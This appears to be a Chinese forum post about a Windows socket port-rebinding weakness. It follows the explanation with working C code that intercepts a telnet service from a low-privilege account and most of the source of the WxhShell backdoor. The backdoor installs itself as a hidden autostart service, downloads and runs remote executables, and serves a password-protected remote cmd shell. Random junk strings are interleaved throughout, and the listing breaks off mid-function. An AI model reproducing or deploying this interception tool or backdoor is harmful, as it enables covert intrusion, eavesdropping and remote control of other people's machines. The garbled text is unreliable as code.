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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :(~<BiqR( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^`yhN \;0pjxq= saddr.sin_family = AF_INET; "Y+VNS `?$-T5Rr saddr.sin_addr.s_addr = htonl(INADDR_ANY); >V(C>^%-> rd->@s|4mT bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %_Vz0
D!7 HAO-|=c4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (>0`e8v! /1LN\Eu 这意味着什么?意味着可以进行如下的攻击: ]&]G 961&rR}d 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zRjbEL -I5]#%eX^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9\!&c<i= ,.P]5 lE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?/&X_O PJB_"?NTTC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1^$hbRq rwDLBpk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N#M>2b<A/T EN`JzLjP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 28^/By:J G%~V b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |gA@$1+} 9q?knMt #include IA0vSF: #include esSj
3E #include TE&E f$h #include rrU(>jA! DWORD WINAPI ClientThread(LPVOID lpParam); (Yj6|` int main() v>K|hH { ;0WAfu}#H WORD wVersionRequested; <T7@,_T DWORD ret; ! =21K0~t# WSADATA wsaData; ^r}Uu~A> BOOL val; Ut~YvWc9 SOCKADDR_IN saddr; -!+i
^r SOCKADDR_IN scaddr; {@KLN< int err; ruagJS)+ SOCKET s; kVtP~ SOCKET sc; &H# l* int caddsize; X#axCDM- HANDLE mt; ,'c%S|]U7 DWORD tid; T+XcEI6w wVersionRequested = MAKEWORD( 2, 2 ); ?T73BL= err = WSAStartup( wVersionRequested, &wsaData ); eW.qMx#:od if ( err != 0 ) { z&!o1uq printf("error!WSAStartup failed!\n"); JL_(%._J return -1; _~Od G } aEdMZ+P. saddr.sin_family = AF_INET; VT>-* d
>L8SL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FsUH/Y
y ){GJgk|P saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 51s\)d%l saddr.sin_port = htons(23); rs4:jS$) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;,Vdj[W$> { _RcEfT
printf("error!socket failed!\n"); * g+v*q X return -1; wa[J\lW } N/-(~r[ val = TRUE; iU.` TqR7 //SO_REUSEADDR选项就是可以实现端口重绑定的 EM<W+YU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u^C\aujg { K'8o'S_bF printf("error!setsockopt failed!\n"); <EyJ $$ return -1; d.ywH; } (Ajhf}zJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2pHR $GZ2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LL:N/1ysG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;xTMOuI* ?}^ y6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9i #,V@ { dT1UYG}>j ret=GetLastError(); \l(}8;5} printf("error!bind failed!\n"); d+P<ce2G return -1; uF%N`e^S } Nc6y]eGz listen(s,2); Fc=F2M o? while(1) D3 +|Os) { M&zB&Ia"' caddsize = sizeof(scaddr); 2:.$:wS //接受连接请求 $m>( kd1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hQ%X0X, if(sc!=INVALID_SOCKET) ZyU/ .Uk { 6;Izw$X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S%]4['Y if(mt==NULL) 4myikeUR_ { 5Q}HLjG8Z printf("Thread Creat Failed!\n"); !b K;/) break; #/(L.5d[ } 6UN{Vjr%` } (q7;/n CloseHandle(mt); N<(rP1)`v } [PrJf"Z " closesocket(s); -[=@'NP WSACleanup(); LUx'Dm" return 0; T}p|_)&y } Rp
zuSh DWORD WINAPI ClientThread(LPVOID lpParam) 6EWCJ%_ { 9[E/^
SOCKET ss = (SOCKET)lpParam; WFug-#;e SOCKET sc; |[V6R\l39 unsigned char buf[4096]; wc6#C>=F SOCKADDR_IN saddr; UHl1>(U long num; UWCm:eRQ DWORD val; *}r6V"pH~ DWORD ret; 5U_ar //如果是隐藏端口应用的话,可以在此处加一些判断 M+=q"#& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ' z^v}~ saddr.sin_family = AF_INET; cw
BiT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _Axw$oYS saddr.sin_port = htons(23); %AgCE"! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dZ,7q_r,~ { tr
8Q{ printf("error!socket failed!\n"); bnp:J|(ld return -1; C`oB [ } ;%n(ARZ# val = 100; _}`y3"CD7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {yBd{x<>/ { -RThd" ret = GetLastError(); i[U=-4 J return -1; cJ,`71xop, } F0'o!A#|( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sGMnm { [di&N!Ao ret = GetLastError(); ]w8h#p return -1; ^3&-!<* } 0"@p|nAa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '#r^W2 { a- /p/
I-% printf("error!socket connect failed!\n"); n 8| closesocket(sc); /X\:3P closesocket(ss); e+MsFXnB8 return -1; .fzns20u } Yj>\WH while(1) toox`| { <dY{@Cgw= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VDy_s8Z# //如果是嗅探内容的话,可以再此处进行内容分析和记录 %+$!ctn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gm\jboef] num = recv(ss,buf,4096,0); {2&MyxV if(num>0) ^6,}*@ send(sc,buf,num,0); NjA\*M9 else if(num==0) L-3wez;hm break; xO
1uHaL num = recv(sc,buf,4096,0); Ac,bf 8C if(num>0) $)O\i^T send(ss,buf,num,0); XOY\NMo else if(num==0) 41XXL$ break; b@1";+(27 } P6ugbq[x#e closesocket(ss); SQ`ec95', closesocket(sc); TkjZI}]2 return 0 ; 6<Zk%[7t } kL}*,8s{ H,1Iz@W1 #fe zUU ========================================================== 52Q~` t7F Fo|
rRI2 下边附上一个代码,,WXhSHELL dC}4Er Bk4|ik} ========================================================== |fWR[\NU QtqE&j #include "stdafx.h"
2Y9@[ SL%
Ec%9Y #include <stdio.h> h6gtO$A|p= #include <string.h> }Mh`j$ #include <windows.h> *7/MeE6)i #include <winsock2.h> M#]URS2h<O #include <winsvc.h> [%7oq;^J #include <urlmon.h> ^d/,9L\U cNRe > #pragma comment (lib, "Ws2_32.lib") 9O#?r82 #pragma comment (lib, "urlmon.lib") Ru`7Xd. oO,"B8a #define MAX_USER 100 // 最大客户端连接数 jowR!rqf #define BUF_SOCK 200 // sock buffer &
Mf nH #define KEY_BUFF 255 // 输入 buffer ~D Ta%J QcDtZg\ #define REBOOT 0 // 重启 8J#TP7; #define SHUTDOWN 1 // 关机 HFf9^ ![@\p5-e #define DEF_PORT 5000 // 监听端口 )pt#Pu
NY~y:*:Q #define REG_LEN 16 // 注册表键长度 ehYGw2 #define SVC_LEN 80 // NT服务名长度 gNo}\
lm4V QW"BGg~6c // 从dll定义API '4d+!%2t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9ioV R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~bk+JK- > typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fxk6 q$' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |zSoA=7? >5=uq
_QY // wxhshell配置信息 ?f[U8S} struct WSCFG { qc`UDD5 int ws_port; // 监听端口 }>u<, char ws_passstr[REG_LEN]; // 口令 VYN1^Tp int ws_autoins; // 安装标记, 1=yes 0=no Z vO,1B char ws_regname[REG_LEN]; // 注册表键名 k7Z1Y!n7 char ws_svcname[REG_LEN]; // 服务名 '@+a]kCMev char ws_svcdisp[SVC_LEN]; // 服务显示名 )OcG$H NK char ws_svcdesc[SVC_LEN]; // 服务描述信息 <swYo<?J# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ('.r_F int ws_downexe; // 下载执行标记, 1=yes 0=no ? v2JuhRe char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Tn8GLn char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,t_Fo-i7vI b:}+l;e52 }; WKPuIE: c 7uryL // default Wxhshell configuration /_*L8b struct WSCFG wscfg={DEF_PORT, kUG3_ *1
. "xuhuanlingzhe", .!hB tR 1, K2R[u#Q "Wxhshell", {n>W8sN< "Wxhshell", pI|H9 "WxhShell Service", BWN[>H %S "Wrsky Windows CmdShell Service", %@Ty,d:;= "Please Input Your Password: ", (Q09$ 1, P*;zDQy " http://www.wrsky.com/wxhshell.exe", Xz, sL "Wxhshell.exe" +b]+5! }; 9fL48f$ SNK
_ // 消息定义模块 RI%ZT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6-@n$5W0 char *msg_ws_prompt="\n\r? for help\n\r#>"; ;eeu 9_$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; f#9\&-he0 char *msg_ws_ext="\n\rExit."; m^)h/s0A char *msg_ws_end="\n\rQuit."; lE?F Wt char *msg_ws_boot="\n\rReboot..."; (7g1eEK% char *msg_ws_poff="\n\rShutdown..."; c);(+b char *msg_ws_down="\n\rSave to "; aBLE:v &t\KKsUtd char *msg_ws_err="\n\rErr!"; {r!X W char *msg_ws_ok="\n\rOK!"; <ZM8*bqi yr
/p3ys char ExeFile[MAX_PATH]; i`1QR@11 int nUser = 0; G6b\4}E HANDLE handles[MAX_USER]; n3kYVAgF int OsIsNt; L>mv\D;o. pPdOwK# SERVICE_STATUS serviceStatus; 9H<6k* SERVICE_STATUS_HANDLE hServiceStatusHandle; LAwl9YnG: "3i=kvdz // 函数声明 L@{5:#- int Install(void); g2<xr;<t^ int Uninstall(void); Px)/`'D int DownloadFile(char *sURL, SOCKET wsh); v&EHp{8Qd int Boot(int flag); 3Yd)Fm void HideProc(void); G*|2qX"o int GetOsVer(void); ?N|B, F int Wxhshell(SOCKET wsl); YrR}55V, void TalkWithClient(void *cs); Uv06f+P( int CmdShell(SOCKET sock); e_BOzN~c int StartFromService(void); >#RXYDd int StartWxhshell(LPSTR lpCmdLine); =kspHP<k =y/VrF.bV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tl!}9/Q5E: VOID WINAPI NTServiceHandler( DWORD fdwControl ); h.6yI WlnI`!)d // 数据结构和表定义 U9KnW]O%" SERVICE_TABLE_ENTRY DispatchTable[] = ,&sBa{0 { K6.*)7$# {wscfg.ws_svcname, NTServiceMain}, " (+># {NULL, NULL} B%L0g.D" }; /EOtK|E {qm(Z+wcmb // 自我安装 \7}X^]UV x int Install(void) bqMoO7&c { TWC^M{e char svExeFile[MAX_PATH]; 7ST[XLwt%} HKEY key; TCSm#?[B strcpy(svExeFile,ExeFile); m(Cn'@i`"0 ]~z2s;J{/ // 如果是win9x系统,修改注册表设为自启动 Z50]g if(!OsIsNt) { b
"4W`
A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SLc6]? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'W~O? RegCloseKey(key); =^P<D&%q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j`\} xDg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D'>yu" RegCloseKey(key); _AQ :<0/# return 0; :CN,I!: } hIw<gb4J% } qPpC )6-Q } 5vL]Y)l else { AR?J[e $H/3t? 6h` // 如果是NT以上系统,安装为系统服务 "~4ULl<i' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Q^M[X if (schSCManager!=0) `n7z+ { b0i]T?# SC_HANDLE schService = CreateService
Y>+\:O
( Frt_X % schSCManager, <3QE3;4 wscfg.ws_svcname, tWi@_Rlx; wscfg.ws_svcdisp, k[N46=u SERVICE_ALL_ACCESS, i+&*W{Re SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "6n~,$ SERVICE_AUTO_START, .h^."+TJ SERVICE_ERROR_NORMAL, -O_5OT4 svExeFile, Od'!v & NULL, ?0+D1w NULL, 9[|Ql NULL, Pe/cwKCI NULL, un[Z$moN" NULL #5T+P8 ); L^VG?J
if (schService!=0) <!&&Qd-d6H { a Kb2:1EQ CloseServiceHandle(schService); A1p;Ye>o~ CloseServiceHandle(schSCManager); JLRw`V,o7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NrTQ}_3) strcat(svExeFile,wscfg.ws_svcname); :?{ **&= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VuFH
>8n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e.i5j^5u RegCloseKey(key); K.] *:fd return 0; O~B
iqm } 7vV3"uns } `7Ni bZX0 CloseServiceHandle(schSCManager); dKw*L|5 } B5!$5Qc } 4)iSz> bzmT.! return 1; Fy<dk}@ } LN?fw )k3zOKZ; // 自我卸载 AMvM H int Uninstall(void) TC3xrE:U<m { H;}V`}c<` HKEY key; K%>uSS? \<~[uv' if(!OsIsNt) { Q5iuK#/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `w]=xe RegDeleteValue(key,wscfg.ws_regname); &`<j!xlG RegCloseKey(key); 8(D>ws$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w@4q D RegDeleteValue(key,wscfg.ws_regname); yjpV71!M RegCloseKey(key); ?K{CjwE.M return 0; kVQKP U } x+"~-KO8q$ } !tFs(![ } m"~$JA u else { [z`U9J N>7INK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yuk64o2QE if (schSCManager!=0) a>Uk<#>2?a { ]~ )FMWQz- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _odP: if (schService!=0) /_?Ly$>' { 6Ez}A|i if(DeleteService(schService)!=0) { ge[f/"u CloseServiceHandle(schService); 29pIO]8; CloseServiceHandle(schSCManager); +BM (0M+ return 0; Dq
Kk9s;6_ } f5Zx:g CloseServiceHandle(schService); X&t)S?eCos } rFSLTbTf CloseServiceHandle(schSCManager); &2MW.,e7s } (J][(=s;a } wnP#.[,V <Jo_f&&{ return 1; <n>Kc}c } FlRbGg^ +o!".Hp // 从指定url下载文件 q.t>:` int DownloadFile(char *sURL, SOCKET wsh) 7Xm pq&g { U/m6% )Yx( HRESULT hr; ;c_X
^"d char seps[]= "/"; 9n$GeRO char *token; %?y ?rt char *file; &
p"ks8" char myURL[MAX_PATH]; N0sf
V char myFILE[MAX_PATH]; X26gl 'U %w,
strcpy(myURL,sURL); %7Z_Hw token=strtok(myURL,seps); y|nMCkuX while(token!=NULL) 9PVM06
{ )Rn}4)9!iT file=token; 7:I`
~ @m token=strtok(NULL,seps); j{IAZs#@> } gpe^G64c` IR?ICXmtx GetCurrentDirectory(MAX_PATH,myFILE); $[6:KV strcat(myFILE, "\\"); _LFZ 0 strcat(myFILE, file); !!b5vzyve send(wsh,myFILE,strlen(myFILE),0); Ni'vz7j send(wsh,"...",3,0); #q%xJ[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lKrD.iYt8 if(hr==S_OK) OOGqtA; return 0; s 9PD[u/y else amK?LDf] return 1; Ajr]&H4 :z56!qU } !%_Z>a xXE/pIXw // 系统电源模块 PtCwr)B, int Boot(int flag) SgHLs { k+{-iPm{ HANDLE hToken; 0iinr:=u TOKEN_PRIVILEGES tkp; T/V8&'^i gdRwh if(OsIsNt) { ^TJn&k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xlp u_H| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KRf$VbuL tkp.PrivilegeCount = 1; t]#y}V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h-=3b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =da_zy if(flag==REBOOT) { >;dMumX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) { ,/mQ3 return 0; 3 ~0Z.!O } a=&a)FR else { j` 9pZAF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '`#2'MXG return 0; ^!L'Aoy;E } Ka&[
Oz<w } q%w\UAqA else { 3gaijVN if(flag==REBOOT) { nKp='>Th if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vz!W(+ return 0; !krbGpTVH } ce\]o^4 else { p3`'i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P}KN*Hn. return 0; 8 qt,sU } iv2did4 } x'{L %c>L )C5<puh return 1; m:59f9WXA } t>. mB@se|
`@b+'L // win9x进程隐藏模块 YgNt>4K void HideProc(void) %g{m12 { o"->RC !s06uh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w?d~c*4+ if ( hKernel != NULL ) QM=M<~<Voh { dq28Y$9~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); INOw0E[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a?/GEfd FreeLibrary(hKernel); s"#JBw\7 } O6NgI2[O 8rAOs\ys return; .8S6;xnkC } NOLw119K q{HfT
d // 获取操作系统版本 tI0d!8K int GetOsVer(void) &u( eu'Q3 {
jhjb)r. OSVERSIONINFO winfo; ;|6kFBGC"+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m!3b.2/h GetVersionEx(&winfo); BoE;,s>]NW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y8'WR-; return 1; i[/g&fx else 3zo]*6p0 return 0; Gkv<)}G } ^E*W
B~ sy=M#WGS // 客户端句柄模块 2F[smUL int Wxhshell(SOCKET wsl) 1Y:lFGoe {
h%0/j SOCKET wsh;
I&?(=i)N struct sockaddr_in client; q{5wx8_U DWORD myID; O}I8P")m =T;>$&qs while(nUser<MAX_USER) (xf_ { 5@ecZ2`)+h int nSize=sizeof(client); mD{<Lp= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
DvCs 5 if(wsh==INVALID_SOCKET) return 1; #5-5N5-1 u@tJu'X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6:O3>'n if(handles[nUser]==0) j}7as& closesocket(wsh); Fk@A;22N else bmgK6OyVR nUser++; pXf!8X&y } x%ju(B> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =QFnab?N R("g ] return 0; \>0%E{CR } 99w;Q 2k QlmZBqK}& // 关闭 socket ,ef"S
r void CloseIt(SOCKET wsh) }'mVD^<+ { WJbdsPs closesocket(wsh); NWWag} nUser--; c
Q:.V ExitThread(0); -\6nT'P } ]#=43 H=Rqr // 客户端请求句柄 PPSf8-MLW void TalkWithClient(void *cs) 9v>BP`Mg { g^ZsV:D
@ c,KK~{ SOCKET wsh=(SOCKET)cs; B f33%I~ char pwd[SVC_LEN]; '2mR;APz char cmd[KEY_BUFF]; WBD e` char chr[1]; Rp$t;=SMD int i,j; MF:]J VN`T:!& while (nUser < MAX_USER) { =!u9]3) "9,z"k if(wscfg.ws_passstr) { /cHd&i,> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [lZo'o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d MQ]= //ZeroMemory(pwd,KEY_BUFF); ^Y z.,!B[ i=0; 5[l9`Cn&A while(i<SVC_LEN) { 5ws|4V 4+%;eY.A // 设置超时 8}9|hT;
fd_set FdRead; #-$\f(+< struct timeval TimeOut; d\Cx(Lb[ FD_ZERO(&FdRead); :U)>um34e FD_SET(wsh,&FdRead); [SGt ~bRJ TimeOut.tv_sec=8; Ylbh_ d~BU TimeOut.tv_usec=0; RU&,z3LEb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gh}k9-L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,0+%ji^V ~wG.'d] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >^}nk04 pwd =chr[0];
WM$)T6M if(chr[0]==0xd || chr[0]==0xa) { ,FRFH8p pwd=0; l9"4"+?j< break; ,4W|e! } ^2Sa_. i++; qj*IKS } .BN~9w AffVah2o: // 如果是非法用户,关闭 socket BzBij^h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %\6ns } P'f0KZL; ~XAtt\WS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F7$x5h@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cpz'upVOZ :Awnj!KNCc while(1) { Vj?{T(K1[ i'&KoR? ZeroMemory(cmd,KEY_BUFF); bB^% O^: 3 $7TeqfAC // 自动支持客户端 telnet标准 &"GHD{ix j=0; @y:mj \J9 while(j<KEY_BUFF) { %-ih$ZY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l%"[857 cmd[j]=chr[0]; cx%[hM09 if(chr[0]==0xa || chr[0]==0xd) { |O0=Q,<m cmd[j]=0; *?jU$&Qpj* break; 46(Vq| } 0tbximmDb j++; i*34/ } :&D>?{b0 |Y'xtOMX // 下载文件 U 7mA~t2E if(strstr(cmd,"http://")) { m NkS!(L6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); L B`=+FD if(DownloadFile(cmd,wsh)) ]jo^P5\h> send(wsh,msg_ws_err,strlen(msg_ws_err),0); bg.f';C else XE8~R5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~e\uP } 2q}M1-^ else { &_X6m0z |lH~nU.* switch(cmd[0]) { A*l(0`aWq v_Om3i9$E // 帮助 +zodkB~) case '?': { K"'W4bO#7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &8!*u3 break; c%1<O!c } *&p `8: // 安装 zTi%j$o case 'i': { `P1jg$(eA if(Install()) 2yqm$i9C send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWlR" p2 else [@D+kL*> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WK7=z3mu break; Qx,?v|Xg } V0hC[Ilr // 卸载 cgKK(-$ny case 'r': { Bi?.w5 if(Uninstall()) cU}j
Whu send(wsh,msg_ws_err,strlen(msg_ws_err),0); l!Q |]-.@ else [s?H3yQ. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A#9@OWV5f break; C6Qnn@waYb } \ZdV|23 // 显示 wxhshell 所在路径 LF+#PnK case 'p': { n99>oh char svExeFile[MAX_PATH]; bni :B?# strcpy(svExeFile,"\n\r"); )@DT^#zR strcat(svExeFile,ExeFile); aYQ!`mS::M send(wsh,svExeFile,strlen(svExeFile),0); v5"5UPi- break; g Z3VT{ } /BC(O[P // 重启 ;u;Y fOr case 'b': { >L$g ;(g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n"B"Aysz if(Boot(REBOOT)) jJ%
*hDZ6t send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(q^R else { SF*!Z2K closesocket(wsh); ahgm*Cpc ExitThread(0); x7$U } x:8x GG9 break; [uOW\)` } ,=KJ7zIK? // 关机 B.2F\ub g case 'd': { wc-H`S|@ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iN%\wkx*N if(Boot(SHUTDOWN)) x#yL&+'?Mj send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>h2h ?2te else { S9X~<!] closesocket(wsh); $^R[t; ExitThread(0); u?[P@_i< } n y6-_mA] break; 9ls<Y } FY"!%)TV // 获取shell = !D<1< case 's': { 8.D$J CmdShell(wsh); b6!?K!imT closesocket(wsh); <Q)6N!Tp^ ExitThread(0); (n7v $A break; e"en
ma\_ } :HhLc'1Jw // 退出 oD_'8G} case 'x': { ,X6.p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DmAMr=p CloseIt(wsh); vGWX= O break; Y604peUF } Qz&I~7aoyV // 离开 +s&+G![ case 'q': { jM1|+o*Wr send(wsh,msg_ws_end,strlen(msg_ws_end),0); c0ET] closesocket(wsh); X~abn7_ WSACleanup(); vW6Pf^yJ exit(1); ?bbu^;2*f break; Y}(#kqh> } %Bg}
a } @V)k*h3r+ } !pl< y6Xfddd61 // 提示信息 4A0R07" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^.jIus5 } Sj{z } k<ds7k1m 7QL>f5Q return; W|~Lmdzj } zllY$V&<! ~Bn#AkL // shell模块句柄 7)G- EAF int CmdShell(SOCKET sock) |mV*HdqU { s&Y~48{ STARTUPINFO si; ;hNnF&l ZeroMemory(&si,sizeof(si)); k7)H%31; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R{)Sv| +` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YcE:KRy PROCESS_INFORMATION ProcessInfo; c ;` char cmdline[]="cmd"; 7}(LO^,A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >
taT;[Oa return 0; Z 2Fm=88 } ^dH#n~Wx0 a_'W1ek-@ // 自身启动模式 q5:-?|jXJ int StartFromService(void) ],R rk]1 { [qlq& ?" typedef struct mIq6\c$ { ZN5\lon|Y DWORD ExitStatus; punc'~ DWORD PebBaseAddress; F7UY>z3jL DWORD AffinityMask; 'R8VCj DWORD BasePriority; 2qKo|'gL` ULONG UniqueProcessId; sl-LX)*N# ULONG InheritedFromUniqueProcessId; i>r4R z! } PROCESS_BASIC_INFORMATION; ^sd+s ~xx NS6Bi3~ PROCNTQSIP NtQueryInformationProcess; zAt!jP0E N!m-gymmF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <=n$oMO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ymXR#E 9I=J#Hi|+ HANDLE hProcess;
' ^gF PROCESS_BASIC_INFORMATION pbi; hFuS>Hx ov zIJbf HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :^lyVQ%@ if(NULL == hInst ) return 0; O:Bfbna qrO]t\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b,/fz6
